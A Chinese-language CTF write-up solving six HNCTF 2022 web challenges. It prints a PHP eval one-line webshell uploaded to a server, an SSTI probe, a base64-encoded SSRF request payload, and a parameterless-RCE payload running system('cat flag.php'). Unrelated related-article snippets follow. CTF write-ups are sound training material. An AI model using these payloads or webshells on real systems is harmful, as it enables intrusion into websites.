[HNCTF 2022] web 刷题记录

文章目录

    • [HNCTF 2022 Week1]easy_html
    • [HNCTF 2022 Week1]easy_upload
    • [HNCTF 2022 Week1]Interesting_http
    • [HNCTF 2022 WEEK2]ez_SSTI
    • [HNCTF 2022 WEEK2]ez_ssrf
    • [HNCTF 2022 WEEK2]Canyource


[HNCTF 2022 Week1]easy_html

打开题目提示cookie有线索
在这里插入图片描述
访问一下url
发现要求我们输入手机号,可是只能输10位
F12查看,修改一下maxlength的值为11位
在这里插入图片描述然后随便输入11位,即可得到flag
在这里插入图片描述

[HNCTF 2022 Week1]easy_upload

创建1.php,写入一句话木马

<?php @eval($_POST['shell']);?>

上传成功
在这里插入图片描述访问./upload/1.php,然后ls看一下目录
在这里插入图片描述得到flag
在这里插入图片描述

[HNCTF 2022 Week1]Interesting_http

根据提示,传一个我们想要的,那就传flag咯
然后是修改cookie为admin,添加X-Forwarded-For:127.0.0.1
然后让我们选择要哪个,这里发现l变成了大写的i(一直没发现。。)
得到flag

在这里插入图片描述

[HNCTF 2022 WEEK2]ez_SSTI

先试试

?name={{7*7}}

在这里插入图片描述发现成功,猜测是Jinja2

[HNCTF 2022 WEEK2]ez_ssrf

源代码

 <?phphighlight_file(__FILE__);
error_reporting(0);$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {die();
}
else {fwrite($fp,$data);while(!feof($data)){echo fgets($fp,128);}fclose($fp);
} 

简单分析一下,fsockopen能够使用socket与服务器进行tcp连接,并传输数据,host、port和数据都能定义,存在SSRF
扫一下目录,发现有./flag.php
在这里插入图片描述提示本地127.0.0.1和80端口
这里应该是从index.php传参,ssrf然后访问到flag.php
将data值base64编码一下
在这里插入图片描述

payload

?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

得到flag
在这里插入图片描述

[HNCTF 2022 WEEK2]Canyource

源代码

 <?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    eval($_GET['code']);}
elsedie('nonono');}
elseecho('please input code');
?>

分析一下,可以发现是无参rce,同时过滤的不算严重。
我们利用无参函数构造

payload

?code=eval(end(current(get_defined_vars())));&a=system("cat flag.php");

得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/70569.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C语言中计算函数执行时间

要计算C语言程序中某个函数从开始到结束执行的时间&#xff0c;可以使用C标准库中的clock()函数。clock()函数返回程序执行开始到当前时刻的时钟数&#xff0c;除以某个常数&#xff08;CLOCKS_PER_SEC&#xff09;&#xff0c;就可以得到程序执行的秒数。 下面是一个示例代码…

mybatisplus多租户原理略解

概述 当前mybatisPlus版本 <dependency><groupId>com.baomidou</groupId><artifactId>mybatis-plus-boot-starter</artifactId><version>3.5.3.2</version> </dependency>jdk版本&#xff1a;17 springboot版本&#xff1a;…

深入探讨Kubernetes(K8s)在云原生架构中的关键作用和应用

文章目录 1. 容器化的应用程序管理2. 自动化扩展和负载均衡3. 容器编排和调度4. 存储管理5. 自动化滚动更新6. 多云和混合云部署7. 监控和日志8. 安全9. 社区支持和生态系统10. 未来展望案例 &#x1f388;个人主页&#xff1a;程序员 小侯 &#x1f390;CSDN新晋作者 &#x1…

2023年高教社杯全国大学生数学建模竞赛参赛事项注意

MathClub数模资源&#xff0c;含专属思路 资源链接&#xff1a;点击这里获取众多数模资料、思路精讲、论文模板latex和word、学习书籍等 2023高教社杯数学建模国赛–赛前准备 一年一度的数学建模国赛要来啦&#xff01;&#xff01;&#xff01;小编仔细阅读了比赛官方网站上…

java 实现外观模式

外观模式&#xff08;Facade Pattern&#xff09;是一种结构型设计模式&#xff0c;它提供了一个简化的接口&#xff0c;用于访问一组相关的接口或子系统。外观模式的主要目的是隐藏复杂的系统结构&#xff0c;提供一个更简单的接口供客户端使用。以下是一个简单的Java示例&…

【请求报错:javax.net.ssl.SSLHandshakeException: No appropriate protocol】

1、问题描述 在请求服务时报错说SSL握手异常协议禁用啥的&#xff0c;而且我的连接数据库的url也加了useSSLfalse javax.net.ssl.SSLHandshakeException: No appropriate protocol (protocol is disabled or cipher suites are inappropriate)2、解决方法 在网上查找了方法…

LeetCode 1004.最大连续1的个数

题目链接 力扣&#xff08;LeetCode&#xff09;官网 - 全球极客挚爱的技术成长平台 题目解析 硬往题目介绍上边去想的话其实非常困难&#xff0c;如果换种方式思考就会简单许多。 若我们将思想转化为&#xff0c;找出最长的子串(里面含有的0的数量最大为k)&#xff0c;然后返…

QT实现任意阶贝塞尔曲线绘制

bezier曲线在编程中的难点在于求取曲线的系数&#xff0c;如果系数确定了那么就可以用微小的直线段画出曲线。bezier曲线的系数也就是bernstein系数&#xff0c;此系数的性质可以自行百度&#xff0c;我们在这里是利用bernstein系数的递推性质求取&#xff1a; 简单举例 两个…

运维Shell脚本小试牛刀(七):在函数文脚本件中调用另外一个脚本文件中函数|函数递归调用|函数后台执行

运维Shell脚本小试牛刀(一) 运维Shell脚本小试牛刀(二) 运维Shell脚本小试牛刀(三)::$(cd $(dirname $0)&#xff1b; pwd)命令详解 运维Shell脚本小试牛刀(四): 多层嵌套if...elif...elif....else fi_蜗牛杨哥的博客-CSDN博客 Cenos7安装小火车程序动画 运维Shell脚本小试…

华纳云:Linux的底层体系结构是怎样的

Linux操作系统的底层体系结构是一个开源的Unix-like操作系统内核&#xff0c;通常称为Linux内核(Linux Kernel)。下面是Linux底层体系结构的主要组成部分和工作原理&#xff1a; 内核&#xff08;Kernel&#xff09;&#xff1a; Linux的核心部分是内核&#xff0c;它是操作系统…

【扩散模型 李宏毅B站教学以及基础代码运用】

李宏毅教学视频&#xff1a; Link1 B站DDPM公式推导以及代码实现&#xff1a; Link2 这个视频里面有论文里面的公式推导&#xff0c;并且1小时10分开始讲解实例代码。 文章目录 扩散模型概念&#xff1a;Diffusion Model工作原理&#xff1a;影像生成模型本质上的共同目标B站…

算法——组合程序算法解析

组合就是从m个元素的数组中求n个元素的所有组合&#xff0c;代码如下&#xff1a; #include <iostream> #include <vector> using namespace std; // 递归求解组合 void combinations(vector<int>& nums, vector<int>& combination, int star…

Linux 安装 JDK

要在Linux上安装JDK 1&#xff0c;按照以下步骤进行操作&#xff1a; 1. 下载JDK安装文件&#xff1a;首先&#xff0c;你需要找到适用于你操作系统的JDK安装文件&#xff08;tar.gz或tar.bz2格式&#xff09;。你可以从Oracle官方网站或其他可信的来源下载该文件。 2. 解压…

Ansible自动化运维

目录 前言 一、概述 常见的开源自动化运维工具比较 二、ansible环境搭建 三、ansible模块 &#xff08;一&#xff09;、hostname模块 &#xff08;二&#xff09;、file模块 &#xff08;三&#xff09;、copy模块 &#xff08;四&#xff09;、fetch模块 &#xff…

C++ 新旧版本两种读写锁

一、简介 读写锁&#xff08;Read-Write Lock&#xff09;是一种并发控制机制&#xff0c;用于多线程环境中实现对共享资源的高效读写操作。读写锁允许多个线程同时读取共享资源&#xff0c;但在有写操作时&#xff0c;需要互斥地独占对共享资源的访问&#xff0c;以确保数据的…

ITSS运维资质认证:提升企业竞争力

ITSS运维资质认证是近年来备受企业关注的热门话题。通过认证&#xff0c;企业能够提高运维团队的技术实力&#xff0c;加强服务质量&#xff0c;提升竞争力。下面将为大家分析其对企业的影响和意义。 随着信息技术的迅猛发展&#xff0c;企业对IT系统的可靠性和稳定性要求越来越…

ElementUI浅尝辄止21:Tree 树形控件

树形组件&#xff1a;用清晰的层级结构展示信息&#xff0c;可展开或折叠。 树组件使用挺频繁的&#xff0c;常见于侧边栏树形目录、树形下拉选项按钮或搜索查询树形信息选项 1.如何使用&#xff1f; 基础的树形结构展示 <el-tree :data"data" :props"defa…

TypeScript内置类型有哪些?

Partial Partial用于将给定类型的所有属性设置为可选。换句话说&#xff0c;Partial 可以创建一个新的类型&#xff0c;该类型具有与原始类型相同的属性&#xff0c;但是这些属性都是可选的。使用 Partial 可以很方便地定义一个对象&#xff0c;其中的属性可以选择性地进行赋值…

借助各大模型的优点生成原创视频(真人人声)Plus

【技术背景】 众所周知&#xff0c;组成视频的3大元素&#xff0c;即文本语音图片。接着小编逐一介绍生成原创视频的过程。 【文本生成】 天工AI搜索&#xff08;thttp://iangong.cn&#xff09; 直接手机短信验证就可以使用&#xff0c;该大模型已经接入互联网&#xff0c…

git_合并分支

1、环境 (1)将测试分支dev合并到master分支。 (2)使用merge命令。 2、合并步骤 (1)切换到master分支 git checkout master (2)如果是多人开发的话&#xff0c;需要把远程master上的代码pull下来。 //如果是自己一个开发就没有必要了&#xff0c;不过为了保险起见还是pul…